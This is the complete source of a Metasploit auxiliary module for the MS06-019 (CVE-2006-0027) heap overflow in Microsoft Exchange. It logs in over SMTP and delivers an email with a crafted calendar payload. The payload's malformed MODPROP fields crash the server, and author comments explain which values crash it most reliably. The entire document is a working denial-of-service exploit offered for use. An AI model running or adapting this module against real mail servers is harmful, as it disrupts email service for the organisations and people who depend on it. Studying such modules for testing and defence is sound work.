MS06-019 Exchange MODPROP Heap Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Smtp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS06-019 Exchange MODPROP Heap Overflow',
      'Description'    => %q{
        This module triggers a heap overflow vulnerability in MS
        Exchange that occurs when multiple malformed MODPROP values
        occur in a VCAL request.
      },
      'Author'         => [ 'pusscat' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'BID', '17908'],
          [ 'CVE', '2006-0027'],
          [ 'MSB', 'MS06-019'],

        ],
      'DisclosureDate' => '2004-11-12'))

    register_options(
      [
        OptString.new('SUBJECT', [ true, 'The subject of the e-mail', 're: Your Brains'])
      ])

  end

  #
  # This needs some reworking to use the SMTPDeliver mixin and the Re::MIME class
  #
  def run

    connect_login

    modprops = ['attendee', 'categories', 'class', 'created', 'description',
          'dtstamp', 'duration', 'last-modified',
          'location', 'organizer', 'priority', 'recurrence-id', 'sequence',
          'status', 'summary', 'transp', 'uid']

    #modprops = ['dtstamp']

    modpropshort =	""
    modpropbusted =	""
    modnum = rand(3)

    1.upto(modnum) {
      nextprop = rand(modprops.size)
      modpropshort << modprops[nextprop] + ","
      modpropbusted << modprops[nextprop].upcase + ":\r\n"
    }

    modpropshort = "dtstamp,"
    modpropbusted = "DTSTAMP:\r\n"
    modnum = modnum + 1 + rand(3)
    modproplong	 =	modpropshort
    1.upto(modnum) {
      modproplong << modprops[rand(modprops.size)] + ","
    }

    boundary = Rex::Text.rand_text_alphanumeric(8) + "." + Rex::Text.rand_text_alphanumeric(8)


    # Really, the randomization above only crashes /sometimes/ - it's MUCH more
    # reliable, and gives crashes in better spots of you use these modprops:

    modpropshort  = "dtstamp,"
    modproplong   = "dtstamp, dtstamp,"
    modpropbusted = "DTSTAMP:\r\n"

    mail =		"From: #{datastore['MAILFROM']}\r\n"
    mail <<		"To: #{datastore['MAILTO']}\r\n"
    mail <<		"Subject: #{datastore['SUBJECT']}\r\n"
    mail <<		"Content-class: urn:content-classes:calendarmessage\r\n"
    mail <<		"MIME-Version: 1.0\r\n"
    mail <<		"Content-Type: multipart/alternative;boundary=\"#{boundary}\"\r\n"
    mail <<		"X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0\r\n"
    mail <<     "\r\n"
    mail << 	"--#{boundary}\r\n"
    mail <<		"Content-class: urn:content-classes:calendarmessage\r\n"
    mail <<		"Content-Type: text/calendar; method=REQUEST; name=\"meeting.ics\"\r\n"
    mail <<		"Content-Transfer-Encoding: 8bit\r\n"
    mail <<		"\r\n"
    mail <<		"BEGIN:VCALENDAR\r\n"
    mail <<		"BEGIN:VEVENT\r\n"
    mail <<		"X-MICROSOFT-CDO-MODPROPS:#{modpropshort.chop}\r\n"
    mail <<		modpropbusted
    mail <<		"END:VEVENT\r\n"
    mail <<		"BEGIN:VEVENT\r\n"
    mail <<		"X-MICROSOFT-CDO-MODPROPS:#{modproplong.chop}\r\n"
    mail <<		"END:VEVENT\r\n"
    mail <<		"END:VCALENDAR\r\n"
    mail <<		"\r\n--#{boundary}\r\n"
    mail <<		"\r\n.\r\n"


    print_status("Sending message...")
    sock.put(mail)
    sock.put("QUIT\r\n")
    print "<< " + (sock.get_once || '')
    disconnect
  end
end